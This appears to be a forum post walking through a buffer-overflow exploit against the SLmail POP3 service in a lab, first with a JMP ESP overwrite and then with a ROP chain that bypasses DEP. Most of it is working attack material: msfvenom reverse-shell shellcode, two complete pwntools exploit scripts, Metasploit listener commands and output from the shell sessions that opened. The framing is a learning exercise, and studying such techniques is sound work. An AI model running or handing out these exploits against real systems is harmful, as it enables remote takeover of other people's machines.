Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of py file: 1712 bytes buf = b"" buf += b"\xda\xd0\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x52\xbf\x36" buf += b"\xed\x2d\x21\x31\x7b\x17\x03\x7b\x17\x83\xdd\x11\xcf" buf += b"\xd4\xdd\x02\x92\x17\x1d\xd3\xf3\x9e\xf8\xe2\x33\xc4" buf += b"\x89\x55\x84\x8e\xdf\x59\x6f\xc2\xcb\xea\x1d\xcb\xfc" buf += b"\x5b\xab\x2d\x33\x5b\x80\x0e\x52\xdf\xdb\x42\xb4\xde" buf += b"\x13\x97\xb5\x27\x49\x5a\xe7\xf0\x05\xc9\x17\x74\x53" buf += b"\xd2\x9c\xc6\x75\x52\x41\x9e\x74\x73\xd4\x94\x2e\x53" buf += b"\xd7\x79\x5b\xda\xcf\x9e\x66\x94\x64\x54\x1c\x27\xac" buf += b"\xa4\xdd\x84\x91\x08\x2c\xd4\xd6\xaf\xcf\xa3\x2e\xcc" buf += b"\x72\xb4\xf5\xae\xa8\x31\xed\x09\x3a\xe1\xc9\xa8\xef" buf += b"\x74\x9a\xa7\x44\xf2\xc4\xab\x5b\xd7\x7f\xd7\xd0\xd6" buf += b"\xaf\x51\xa2\xfc\x6b\x39\x70\x9c\x2a\xe7\xd7\xa1\x2c" buf += b"\x48\x87\x07\x27\x65\xdc\x35\x6a\xe2\x11\x74\x94\xf2" buf += b"\x3d\x0f\xe7\xc0\xe2\xbb\x6f\x69\x6a\x62\x68\x8e\x41" buf += b"\xd2\xe6\x71\x6a\x23\x2f\xb6\x3e\x73\x47\x1f\x3f\x18" buf += b"\x97\xa0\xea\x8f\xc7\x0e\x45\x70\xb7\xee\x35\x18\xdd" buf += b"\xe0\x6a\x38\xde\x2a\x03\xd3\x25\xbd\xec\x8c\x2d\xa1" buf += b"\x85\xce\x2d\xc8\x09\x46\xcb\x80\xa1\x0e\x44\x3d\x5b" buf += b"\x0b\x1e\xdc\xa4\x81\x5b\xde\x2f\x26\x9c\x91\xc7\x43" buf += b"\x8e\x46\x28\x1e\xec\xc1\x37\xb4\x98\x8e\xaa\x53\x58" buf += b"\xd8\xd6\xcb\x0f\x8d\x29\x02\xc5\x23\x13\xbc\xfb\xb9" buf += b"\xc5\x87\xbf\x65\x36\x09\x3e\xeb\x02\x2d\x50\x35\x8a" buf += b"\x69\x04\xe9\xdd\x27\xf2\x4f\xb4\x89\xac\x19\x6b\x40" buf += b"\x38\xdf\x47\x53\x3e\xe0\x8d\x25\xde\x51\x78\x70\xe1" buf += b"\x5e\xec\x74\x9a\x82\x8c\x7b\x71\x07\xbc\x31\xdb\x2e" buf += b"\x55\x9c\x8e\x72\x38\x1f\x65\xb0\x45\x9c\x8f\x49\xb2" buf += b"\xbc\xfa\x4c\xfe\x7a\x17\x3d\x6f\xef\x17\x92\x90\x3a"

Now that I have generated a payload with msfvenom , I need to craft an exploit that will overwrite the EIP register with the address of ESP , where the malicious payload will be waiting for execution. Since I have identified the bad-bytes within the payload, I can go back and get the JMP ESP instruction by using the following command.

!mona jmp -r esp -cpb '\x00\x0a\x0d'

From the output, I chose the JMP ESP instruction at 0x7608bce1 , which was part of the MSVCP60.dll . Now that I have the ESP address, I can write the exploit as seen below.

 #!/usr/bin/env python3
 from pwn import *
 buf = "\xd9\xc7\xba\x9f\x04\x84\x0f\xd9\x74\x24\xf4\x58\x29"
 buf += "\xc9\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x77\xf8\x66"
 buf += "\xfa\x7b\xe9\xe5\x05\x83\xea\x89\x8c\x66\xdb\x89\xeb"
 buf += "\xe3\x4c\x3a\x7f\xa1\x60\xb1\x2d\x51\xf2\xb7\xf9\x56"
 buf += "\xb3\x72\xdc\x59\x44\x2e\x1c\xf8\xc6\x2d\x71\xda\xf7"
 buf += "\xfd\x84\x1b\x3f\xe3\x65\x49\xe8\x6f\xdb\x7d\x9d\x3a"
 buf += "\xe0\xf6\xed\xab\x60\xeb\xa6\xca\x41\xba\xbd\x94\x41"
 buf += "\x3d\x11\xad\xcb\x25\x76\x88\x82\xde\x4c\x66\x15\x36"
 buf += "\x9d\x87\xba\x77\x11\x7a\xc2\xb0\x96\x65\xb1\xc8\xe4"
 buf += "\x18\xc2\x0f\x96\xc6\x47\x8b\x30\x8c\xf0\x77\xc0\x41"
 buf += "\x66\xfc\xce\x2e\xec\x5a\xd3\xb1\x21\xd1\xef\x3a\xc4"
 buf += "\x35\x66\x78\xe3\x91\x22\xda\x8a\x80\x8e\x8d\xb3\xd2"
 buf += "\x70\x71\x16\x99\x9d\x66\x2b\xc0\xc9\x4b\x06\xfa\x09"
 buf += "\xc4\x11\x89\x3b\x4b\x8a\x05\x70\x04\x14\xd2\x77\x3f"
 buf += "\xe0\x4c\x86\xc0\x11\x45\x4d\x94\x41\xfd\x64\x95\x09"
 buf += "\xfd\x89\x40\x9d\xad\x25\x3b\x5e\x1d\x86\xeb\x36\x77"
 buf += "\x09\xd3\x27\x78\xc3\x7c\xcd\x83\x84\x42\xba\x83\xc8"
 buf += "\x2b\xb9\x93\xe1\xf7\x34\x75\x6b\x18\x11\x2e\x04\x81"
 buf += "\x38\xa4\xb5\x4e\x97\xc1\xf6\xc5\x14\x36\xb8\x2d\x50"
 buf += "\x24\x2d\xde\x2f\x16\xf8\xe1\x85\x3e\x66\x73\x42\xbe"
 buf += "\xe1\x68\xdd\xe9\xa6\x5f\x14\x7f\x5b\xf9\x8e\x9d\xa6"
 buf += "\x9f\xe9\x25\x7d\x5c\xf7\xa4\xf0\xd8\xd3\xb6\xcc\xe1"
 buf += "\x5f\xe2\x80\xb7\x09\x5c\x67\x6e\xf8\x36\x31\xdd\x52"
 buf += "\xde\xc4\x2d\x65\x98\xc8\x7b\x13\x44\x78\xd2\x62\x7b"
 buf += "\xb5\xb2\x62\x04\xab\x22\x8c\xdf\x6f\x52\xc7\x7d\xd9"
 buf += "\xfb\x8e\x14\x5b\x66\x31\xc3\x98\x9f\xb2\xe1\x60\x64"
 buf += "\xaa\x80\x65\x20\x6c\x79\x14\x39\x19\x7d\x8b\x3a\x08"
 # Payload
 payload = 'A' * 2606 # EIP contains normal pattern : 0x39694438 (offset 2606)
 payload += struct.pack('<L', 0x7608bce1).decode('latin-1')
 payload += '\x90' * 12 # the stack needed 12 bytes to fix mis-aligned stack
 payload += buf
 payload += 'B' * (4000 - len(payload))

 def execute(_host: str, _port: int):
     # Connection Logic
     conn = remote(_host, _port)
     conn.recvline() # b'+OK POP3 server WIN-XP-SP3 ready <00002.136640@WIN-XP-SP3>'
     log.info("Sending USER data...")
     conn.send('USER d3d\r\n')
     assert conn.recvuntil(' ', drop=True) == b'+OK'
     log.info(f"Sending PASS with {len(payload)} character pattern")
     conn.send(f'PASS {payload}\r\n')

 if __name__ == '__main__':
     if len(sys.argv) != 3:
         exit(f"[?] Usage: {sys.argv[0]} <ip address> <port>")
 host = str(sys.argv[1])
 port = int(sys.argv[2])
 execute(host, port)

Because I am using the Metasploit reverse shell, I need to set up a listener with Metasploit by using the following commands.

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.8.156 msf5 exploit(multi/handler) > set LPORT 4444 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.8.156:4444

Once the handler was started, I ran the exploit…

python3 pwn_exploit_nodep.py 192.168.8.160 110

And about 5 seconds later on the Metasploit listener…

[*] Command shell session 4 opened (192.168.8.156:4444 -> 192.168.8.160:1088) at 2020-01-23 13:21:46 -0500 C:\Program Files\SLmail\System>net user net user User accounts for \\ ------------------------------------------------------------------------------- Administrator ASPNET Guest HelpAssistant SUPPORT_388945a0 The command completed with one or more errors.

Bingo! The exploit worked and spawned a reverse shell! Now time to focus on defeating DEP protected services.

Exploit – DEP

To bypass the non-executable stack protection, I can use the ret2libc (return to libc) technique. I can look in memory for pointers to instructions I want to execute followed by a RET instruction, then chain them together on the stack. This technique is known as ROP (return-oriented programming), the set of instructions referenced by the pointers are known as ROP gadgets , and the set of pointers to instructions is the ROP chain . Some of the more interesting pointers for bypassing DEP are…

For this specific example I will be using the VirtualAlloc function to reserve or commit a region of pages in the virtual address space of the calling process. This will allow me to set the shellcode memory as executable.

Above is the C++ syntax for the function VirtualAlloc , and it order to use this function within our code I will need to set up the stack as seen below.

EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN)

As you would have guessed, mona.py has a tool to assist in setting up the stack as seen above, by using the following command.

!mona rop

The above command will create the files rop.txt , rop_chains.txt , rop_suggestions.txt , and stackpivot.txt within our working directory. I am going to open rop_chains.txt to examine the VirtualAlloc Python code as seen below.


 def create_rop_chain():
     # rop chain generated with mona.py - www.corelan.be
 rop_gadgets = [
     0x00000000, # [-] Unable to find API pointer -> eax
     0x7c902afc, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04 [ntdll.dll]
     0x7c94d192, # XCHG EAX,ESI # RETN [ntdll.dll]
     0x41414141, # Filler (RETN offset compensation)
     0x7c96f5b9, # POP EBP # RETN [ntdll.dll]
     0x7c919db0, # & push esp # ret [ntdll.dll]
     0x7c90e894, # POP EBX # RETN [ntdll.dll]
     0x00000001, # 0x00000001-> ebx
     0x7c90e2bc, # POP EDX # RETN [ntdll.dll]
     0x00001000, # 0x00001000-> edx
     0x7c96b602, # POP ECX # RETN [ntdll.dll]
     0x00000040, # 0x00000040-> ecx
     0x7c90277a, # POP EDI # RETN [ntdll.dll]
     0x7c902582, # RETN (ROP NOP) [ntdll.dll]
     0x7c9721fc, # POP EAX # POP EBP # RETN [ntdll.dll]
     0x90909090, # nop
     0x41414141, # Filler (compensate)
     0x7c94d22b, # PUSHAD # RETN [ntdll.dll]
 ]

     return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

 rop_chain = create_rop_chain()

As you can see by the highlighted line above, that this ROP chain is not going to work in my exploit because there are some gadgets missing. Also, I didn’t parse out the bad characters when generating the ROP chain . By default mona.py excludes the operating system DLLs when looking for gadgets to make exploits more reliable, but if no valid gadgets are found I can force mona.py to include them with the -m option.

To get a list of loaded modules you can use the following command.

!mona modules
0BADF00D [+] Command used: 0BADF00D !mona modules ---------- Mona command started on 2019-11-20 15:46:20 (v2.0, rev 596) ---------- 0BADF00D [+] Processing arguments and criteria 0BADF00D - Pointer access level : X 0BADF00D [+] Generating module info table, hang on... 0BADF00D - Processing modules 0BADF00D - Done. Let's rock 'n roll. 0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------- 0BADF00D Module info : 0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------- 0BADF00D Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path 0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------- 0BADF00D 0x76080000 | 0x760e5000 | 0x00065000 | False | True | False | False | True | 6.02.3104.0 [MSVCP60.dll] (C:\WINDOWS\system32\MSVCP60.dll) 0BADF00D 0x00340000 | 0x0036a000 | 0x0002a000 | True | False | False | False | False | 1.0 [ARM.dll] (C:\Program Files\SLmail\ARM.dll) 0BADF00D 0x00e90000 | 0x01155000 | 0x002c5000 | True | True | False | False | True | 5.1.2600.5512 [xpsp2res.dll] (C:\WINDOWS\system32\xpsp2res.dll) 0BADF00D 0x7c800000 | 0x7c8f6000 | 0x000f6000 | False | True | False | False | True | 5.1.2600.5512 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll) 0BADF00D 0x77c10000 | 0x77c68000 | 0x00058000 | False | True | False | False | True | 7.0.2600.5512 [msvcrt.dll] (C:\WINDOWS\system32\msvcrt.dll) 0BADF00D 0x7c900000 | 0x7c9af000 | 0x000af000 | False | True | False | False | True | 5.1.2600.5512 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll) 0BADF00D 0x10000000 | 0x10007000 | 0x00007000 | False | False | False | False | True | 4.3.0.2 [Openc32.dll] (C:\WINDOWS\system32\Openc32.dll) 0BADF00D 0x71a90000 | 0x71a98000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [wshtcpip.dll] (C:\WINDOWS\System32\wshtcpip.dll) 0BADF00D 0x00400000 | 0x0045c000 | 0x0005c000 | False | False | False | False | False | 5.1 [SLmail.exe] (C:\Program Files\SLmail\SLmail.exe) 0BADF00D 0x76fc0000 | 0x76fc6000 | 0x00006000 | False | True | False | False | True | 5.1.2600.5512 [rasadhlp.dll] (C:\WINDOWS\system32\rasadhlp.dll) 0BADF00D 0x77fe0000 | 0x77ff1000 | 0x00011000 | False | True | False | False | True | 5.1.2600.5512 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll) 0BADF00D 0x71aa0000 | 0x71aa8000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll) 0BADF00D 0x774e0000 | 0x7761d000 | 0x0013d000 | False | True | False | False | True | 5.1.2600.5512 [ole32.dll] (C:\WINDOWS\system32\ole32.dll) 0BADF00D 0x77f60000 | 0x77fd6000 | 0x00076000 | False | True | False | False | True | 6.00.2900.5512 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll) 0BADF00D 0x662b0000 | 0x66308000 | 0x00058000 | False | True | False | False | True | 5.1.2600.5512 [hnetcfg.dll] (C:\WINDOWS\system32\hnetcfg.dll) 0BADF00D 0x7e410000 | 0x7e4a1000 | 0x00091000 | False | True | False | False | True | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll) 0BADF00D 0x763b0000 | 0x763f9000 | 0x00049000 | False | True | False | False | True | 6.00.2900.5512 [comdlg32.dll] (C:\WINDOWS\system32\comdlg32.dll) 0BADF00D 0x76c90000 | 0x76cb8000 | 0x00028000 | False | True | False | False | True | 5.1.2600.5512 [IMAGEHLP.dll] (C:\WINDOWS\system32\IMAGEHLP.dll) 0BADF00D 0x77120000 | 0x771ab000 | 0x0008b000 | False | True | False | False | True | 5.1.2600.5512 [OLEAUT32.dll] (C:\WINDOWS\system32\OLEAUT32.dll) 0BADF00D 0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False | True | False | False | True | 6.00.2900.5512 [SHELL32.dll] (C:\WINDOWS\system32\SHELL32.dll) 0BADF00D 0x77e70000 | 0x77f02000 | 0x00092000 | False | True | False | False | True | 5.1.2600.5512 [RPCRT4.dll] (C:\WINDOWS\system32\RPCRT4.dll) 0BADF00D 0x76f20000 | 0x76f47000 | 0x00027000 | False | True | False | False | True | 5.1.2600.5512 [DNSAPI.dll] (C:\WINDOWS\system32\DNSAPI.dll) 0BADF00D 0x76fd0000 | 0x7704f000 | 0x0007f000 | False | True | False | False | True | 2001.12.4414.700 [CLBCATQ.DLL] (C:\WINDOWS\system32\CLBCATQ.DLL) 0BADF00D 0x76fb0000 | 0x76fb8000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [winrnr.dll] (C:\WINDOWS\System32\winrnr.dll) 0BADF00D 0x77050000 | 0x77115000 | 0x000c5000 | False | True | False | False | True | 2001.12.4414.700 [COMRes.dll] (C:\WINDOWS\system32\COMRes.dll) 0BADF00D 0x76f60000 | 0x76f8c000 | 0x0002c000 | False | True | False | False | True | 5.1.2600.5512 [WLDAP32.dll] (C:\WINDOWS\system32\WLDAP32.dll) 0BADF00D 0x5f400000 | 0x5f4f4000 | 0x000f4000 | False | False | False | False | True | 6.00.8063.0 [SLMFC.DLL] (C:\WINDOWS\system32\SLMFC.DLL) 0BADF00D 0x5d090000 | 0x5d12a000 | 0x0009a000 | False | True | False | False | True | 5.82 [COMCTL32.dll] (C:\WINDOWS\system32\COMCTL32.dll) 0BADF00D 0x00330000 | 0x00339000 | 0x00009000 | True | False | False | False | True | 1.1 [ExcptHnd.dll] (C:\WINDOWS\system32\ExcptHnd.dll) 0BADF00D 0x77f10000 | 0x77f59000 | 0x00049000 | False | True | False | False | True | 5.1.2600.5512 [GDI32.dll] (C:\WINDOWS\system32\GDI32.dll) 0BADF00D 0x77c00000 | 0x77c08000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [VERSION.dll] (C:\WINDOWS\system32\VERSION.dll) 0BADF00D 0x77dd0000 | 0x77e6b000 | 0x0009b000 | False | True | False | False | True | 5.1.2600.5512 [ADVAPI32.dll] (C:\WINDOWS\system32\ADVAPI32.dll) 0BADF00D 0x00370000 | 0x0038f000 | 0x0001f000 | True | False | False | False | True | 1.1 [Antares.dll] (C:\WINDOWS\system32\Antares.dll) 0BADF00D 0x71ab0000 | 0x71ac7000 | 0x00017000 | False | True | False | False | True | 5.1.2600.5512 [WS2_32.dll] (C:\WINDOWS\system32\WS2_32.dll) 0BADF00D 0x71a50000 | 0x71a8f000 | 0x0003f000 | False | True | False | False | True | 5.1.2600.5512 [mswsock.dll] (C:\WINDOWS\system32\mswsock.dll) 0BADF00D 0x769c0000 | 0x76a74000 | 0x000b4000 | False | True | False | False | True | 5.1.2600.5512 [userenv.dll] (C:\WINDOWS\system32\userenv.dll) 0BADF00D -----------------------------------------------------------------------------------------------------------------------------------------

After checking all the currently loaded modules, I decided to use msvcrt.dll to generate my ROP chain. You can generate the code by using the following command.

!mona rop -m msvcrt.dll -cpb '\x00\x0a\x0d'

The above command should generate a rop_chain.txt file which should contain a VirtualAlloc ROP chain for us as seen below.


  def create_rop_chain():
     # rop chain generated with mona.py - www.corelan.be
     rop_gadgets = [
         0x77c1c21b, # POP EBP # RETN [msvcrt.dll]
         0x77c1c21b, # skip 4 bytes [msvcrt.dll]
         0x77c35515, # POP EBX # RETN [msvcrt.dll]
         0xffffffff, #
         0x77c127e5, # INC EBX # RETN [msvcrt.dll]
         0x77c127e1, # INC EBX # RETN [msvcrt.dll]
         0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
         0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
         0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
         0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
         0x77c5289b, # POP EAX # RETN [msvcrt.dll]
         0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
         0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
         0x77c13ffd, # XCHG EAX,ECX # RETN [msvcrt.dll]
         0x77c46116, # POP EDI # RETN [msvcrt.dll]
         0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
         0x77c380c1, # POP ESI # RETN [msvcrt.dll]
         0x77c2aacc, # JMP [EAX] [msvcrt.dll]
         0x77c21d16, # POP EAX # RETN [msvcrt.dll]
         0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
         0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
         0x77c35459, # ptr to 'push esp # ret ' [msvcrt.dll]
 ]
     return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

 rop_chain = create_rop_chain()

As can be seen, there are no missing pointers causing errors, and the opcodes do not contain bad characters.

This ROP chain to VirtualAlloc is going to make the stack executable, so we could execute our shellcode like when DEP was disabled. To use the ROP chain, I need to add the chain just before the first instruction we need to execute on the stack, I also need to change the instruction I put in EIP for a RET instruction that loads the next pointer in the stack. Remember, I used a JMP ESP instruction in the last exploit, but now I can’t execute code on the stack, so when the JMP lands in the stack, the data there is not going to be executable and it will fail.

To find a good gadget to use for the RET instruction, I will check the rop.txt file that was generated during the last mona.py command. The following instruction should work.

0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}

The gadget above extracts the first value on the stack and moves it to ECX, then makes a RET that loads the following value on the stack in to EIP . That means that I need to put four bytes of junk data between the EIP and the ROP chain to avoid the first gadget of the chain being removed.

Because I am adding 88 bytes (ROP Gadgets) to the payload, I am now pushing over the limit of what ESP (430 bytes) can hold without moving ESP ; this is because the Metasploit payload is 351 bytes, I need 4 bytes of junk data, and then the 88 bytes from the ROP chain. Since I can not fit 443 bytes into a space of only 430 bytes, I am going to add another instruction after the ROP chain to move ESP before executing the payload.

In order to move ESP , I need to generate the opcodes using the following script.

 #!/usr/bin/env python3
 from pwn import *
 # Add -96 to ESP - No Bad-Bytes
 print(asm('add esp, -96')) # b'\x83\xc4\xa0

This will move the stack pointer back 96 bytes before executing the payload.

Now I should be able to write an exploit to bypass DEP protection using the information above.

#!/usr/bin/env python3
 from pwn import *

 buf = "\xd9\xc7\xba\x9f\x04\x84\x0f\xd9\x74\x24\xf4\x58\x29"
 buf += "\xc9\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x77\xf8\x66"
 buf += "\xfa\x7b\xe9\xe5\x05\x83\xea\x89\x8c\x66\xdb\x89\xeb"
 buf += "\xe3\x4c\x3a\x7f\xa1\x60\xb1\x2d\x51\xf2\xb7\xf9\x56"
 buf += "\xb3\x72\xdc\x59\x44\x2e\x1c\xf8\xc6\x2d\x71\xda\xf7"
 buf += "\xfd\x84\x1b\x3f\xe3\x65\x49\xe8\x6f\xdb\x7d\x9d\x3a"
 buf += "\xe0\xf6\xed\xab\x60\xeb\xa6\xca\x41\xba\xbd\x94\x41"
 buf += "\x3d\x11\xad\xcb\x25\x76\x88\x82\xde\x4c\x66\x15\x36"
 buf += "\x9d\x87\xba\x77\x11\x7a\xc2\xb0\x96\x65\xb1\xc8\xe4"
 buf += "\x18\xc2\x0f\x96\xc6\x47\x8b\x30\x8c\xf0\x77\xc0\x41"
 buf += "\x66\xfc\xce\x2e\xec\x5a\xd3\xb1\x21\xd1\xef\x3a\xc4"
 buf += "\x35\x66\x78\xe3\x91\x22\xda\x8a\x80\x8e\x8d\xb3\xd2"
 buf += "\x70\x71\x16\x99\x9d\x66\x2b\xc0\xc9\x4b\x06\xfa\x09"
 buf += "\xc4\x11\x89\x3b\x4b\x8a\x05\x70\x04\x14\xd2\x77\x3f"
 buf += "\xe0\x4c\x86\xc0\x11\x45\x4d\x94\x41\xfd\x64\x95\x09"
 buf += "\xfd\x89\x40\x9d\xad\x25\x3b\x5e\x1d\x86\xeb\x36\x77"
 buf += "\x09\xd3\x27\x78\xc3\x7c\xcd\x83\x84\x42\xba\x83\xc8"
 buf += "\x2b\xb9\x93\xe1\xf7\x34\x75\x6b\x18\x11\x2e\x04\x81"
 buf += "\x38\xa4\xb5\x4e\x97\xc1\xf6\xc5\x14\x36\xb8\x2d\x50"
 buf += "\x24\x2d\xde\x2f\x16\xf8\xe1\x85\x3e\x66\x73\x42\xbe"
 buf += "\xe1\x68\xdd\xe9\xa6\x5f\x14\x7f\x5b\xf9\x8e\x9d\xa6"
 buf += "\x9f\xe9\x25\x7d\x5c\xf7\xa4\xf0\xd8\xd3\xb6\xcc\xe1"
 buf += "\x5f\xe2\x80\xb7\x09\x5c\x67\x6e\xf8\x36\x31\xdd\x52"
 buf += "\xde\xc4\x2d\x65\x98\xc8\x7b\x13\x44\x78\xd2\x62\x7b"
 buf += "\xb5\xb2\x62\x04\xab\x22\x8c\xdf\x6f\x52\xc7\x7d\xd9"
 buf += "\xfb\x8e\x14\x5b\x66\x31\xc3\x98\x9f\xb2\xe1\x60\x64"
 buf += "\xaa\x80\x65\x20\x6c\x79\x14\x39\x19\x7d\x8b\x3a\x08"

 def generate_payload():
     # Payload
     payload = 'A' * 2606 # EIP contains normal pattern : 0x39694438 (offset 2606)
     payload += struct.pack('<L', 0x77c46027).decode('latin-1') # 0x77c46027 : # POP ECX # RETN
     payload += struct.pack('<L', 0xd34db33f).decode('latin-1') # 0xd34db33f : # junk data
     payload += create_rop_chain()
     payload += '\x83\xc4\xa0' # add esp, -96
     payload += buf
     return payload

 def create_rop_chain():
     # rop chain generated with mona.py - www.corelan.be
     rop_gadgets = [
         0x77c1c21b, # POP EBP # RETN [msvcrt.dll]
         0x77c1c21b, # skip 4 bytes [msvcrt.dll]
         0x77c35515, # POP EBX # RETN [msvcrt.dll]
         0xffffffff, #
         0x77c127e5, # INC EBX # RETN [msvcrt.dll]
         0x77c127e1, # INC EBX # RETN [msvcrt.dll]
         0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
         0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
         0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
         0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
         0x77c5289b, # POP EAX # RETN [msvcrt.dll]
         0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
         0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
         0x77c13ffd, # XCHG EAX,ECX # RETN [msvcrt.dll]
         0x77c46116, # POP EDI # RETN [msvcrt.dll]
         0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
         0x77c380c1, # POP ESI # RETN [msvcrt.dll]
         0x77c2aacc, # JMP [EAX] [msvcrt.dll]
         0x77c21d16, # POP EAX # RETN [msvcrt.dll]
         0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
         0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
         0x77c35459, # ptr to 'push esp # ret ' [msvcrt.dll]
        ]
        return ''.join(struct.pack('<I', _).decode('latin-1') for _ in rop_gadgets)

 def execute(_host: str, _port: int):
     # Connection Logic
     conn = remote(_host, _port)
     conn.recvline() # b'+OK POP3 server WIN-XP-SP3 ready <00002.136640@WIN-XP-SP3>'
     log.info("Sending USER data...")
     conn.send('USER d3d\r\n')
     assert conn.recvuntil(' ', drop=True) == b'+OK'
     log.info(f"Sending PASS with DEP Bypass Exploit")
     conn.send(f'PASS {generate_payload()}\r\n')

 if __name__ == '__main__':
     if len(sys.argv) != 3:
         exit(f"[?] Usage: {sys.argv[0]} <ip address> <port>")
     host = str(sys.argv[1])
     port = int(sys.argv[2])
     execute(host, port)

Because I am using the Metasploit reverse shell, I need to restart the listener with Metasploit by using the following commands.

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.8.156 msf5 exploit(multi/handler) > set LPORT 4444 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.8.156:4444

Once the handler was started, I ran the exploit…

python3 pwn_exploit_dep.py 192.168.8.160 110

And about 5 seconds later on the Metasploit listener…

[*] Command shell session 4 opened (192.168.8.156:4444 -> 192.168.8.160:1088) at 2020-01-23 13:21:46 -0500 C:\Program Files\SLmail\System>net user net user User accounts for \\ ------------------------------------------------------------------------------- Administrator ASPNET Guest HelpAssistant SUPPORT_388945a0 The command completed with one or more errors.

Bingo! The exploit worked and spawned a reverse shell! By using the ROP chain and a simple RET instruction I was able to bypass the DEP protection on the service.

Thanks for reading and I hope you learned something!

– PhoenixKiller

4 Likes

This topic was automatically closed after 121 days. New replies are no longer allowed.